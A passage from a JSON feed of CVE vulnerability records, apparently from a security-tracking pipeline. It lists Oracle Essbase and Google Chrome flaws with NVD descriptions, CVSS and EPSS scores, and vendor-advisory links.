fixes.","publishedAt":"2026-10-20T22:21:03.817Z","updatedAt":"2026-10-23T17:19:18.217Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91638","asOf":"2026-10-23T17:19:18.217Z"},"epss":{"probability":0.004,"percentile":0.33939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91638","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91638","type":"primary","publishedAt":"2026-10-20T22:21:03.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91637","cveId":"CVE-2026-91637","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Essbase. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:03.693Z","updatedAt":"2026-10-23T14:56:37.227Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91637","asOf":"2026-10-23T14:56:37.227Z"},"epss":{"probability":0.00349,"percentile":0.28203,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91637&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91637","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91637","type":"primary","publishedAt":"2026-10-20T22:21:03.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91637&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91637, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113342","cveId":"CVE-2026-113342","aliases":[],"kind":"vulnerability","title":"Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:28.877Z","updatedAt":"2026-10-22T23:18:29.913Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113342","asOf":"2026-10-22T23:18:29.913Z"},"epss":{"probability":0.00475,"percentile":0.40772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113342&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113342","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113342","type":"primary","publishedAt":"2026-10-20T22:19:28.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113342&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113342, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113336","cveId":"CVE-2026-113336","aliases":[],"kind":"vulnerability","title":"Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:28.177Z","updatedAt":"2026-10-22T23:18:29.763Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113336","asOf":"2026-10-22T23:18:29.763Z"},"epss":{"probability":0.00495,"percentile":0.42169,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113336&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113336","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113336","type":"primary","publishedAt":"2026-10-20T22:19:28.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113336&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113336, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113328","cveId":"CVE-2026-113328","aliases":[],"kind":"vulnerability","title":"Improper input validation in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Improper input validation in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:27.257Z","updatedAt":"2026-10-22T23:18:29.457Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113328","asOf":"2026-10-22T23:18:29.457Z"},"epss":{"probability":0.00495,"percentile":0.42168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113328&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113328","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113328","type":"primary","publishedAt":"2026-10-20T22:19:27.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113328&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113328, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113300","cveId":"CVE-2026-113300","aliases":[],"kind":"vulnerability","title":"Out of bounds write in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Out of bounds write in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Out of bounds write in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:24.157Z","updatedAt":"2026-10-22T23:18:29.307Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113300","asOf":"2026-10-22T23:18:29.307Z"},"epss":{"probability":0.00495,"percentile":0.42168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113300&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113300","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113300","type":"primary","publishedAt":"2026-10-20T22:19:24.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113300&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113300, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113283","cveId":"CVE-2026-113283","aliases":[],"kind":"vulnerability","title":"Memory corruption in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox...","summary":"Memory corruption in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:22.243Z","updatedAt":"2026-10-22T23:18:29.157Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113283","asOf":"2026-10-22T23:18:29.157Z"},"epss":{"probability":0.00475,"percentile":0.40771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113283&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113283","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113283","type":"primary","publishedAt":"2026-10-20T22:19:22.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113283&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113283, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113270","cveId":"CVE-2026-113270","aliases":[],"kind":"vulnerability","title":"Use after free in Internals in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Use after free in Internals in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Internals in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:20.773Z","updatedAt":"2026-10-22T23:18:29.003Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113270","asOf":"2026-10-22T23:18:29.003Z"},"epss":{"probability":0.00475,"percentile":0.40772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113270&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113270","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113270","type":"primary","publishedAt":"2026-10-20T22:19:20.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113270&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113270, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113263","cveId":"CVE-2026-113263","aliases":[],"kind":"vulnerability","title":"Use after free in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Use after free in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:20.010Z","updatedAt":"2026-10-22T23:18:28.820Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113263","asOf":"2026-10-22T23:18:28.820Z"},"epss":{"probability":0.00465,"percentile":0.3997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113263&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113263","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113263","type":"primary","publishedAt":"2026-10-20T22:19:20.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113263&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113263, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113261","cveId":"CVE-2026-113261","aliases":[],"kind":"vulnerability","title":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:19.787Z","updatedAt":"2026-10-22T23:18:28.663Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113261","asOf":"2026-10-22T23:18:28.663Z"},"epss":{"probability":0.00475,"percentile":0.40771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113261&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113261","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113261","type":"primary","publishedAt":"2026-10-20T22:19:19.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113261&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113261, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113252","cveId":"CVE-2026-113252","aliases":[],"kind":"vulnerability","title":"Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a...","summary":"Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:18.800Z","updatedAt":"2026-10-22T23:18:28.507Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113252","asOf":"2026-10-22T23:18:28.507Z"},"epss":{"probability":0.00495,"percentile":0.42167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113252&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113252","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113252","type":"primary","publishedAt":"2026-10-20T22:19:18.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD 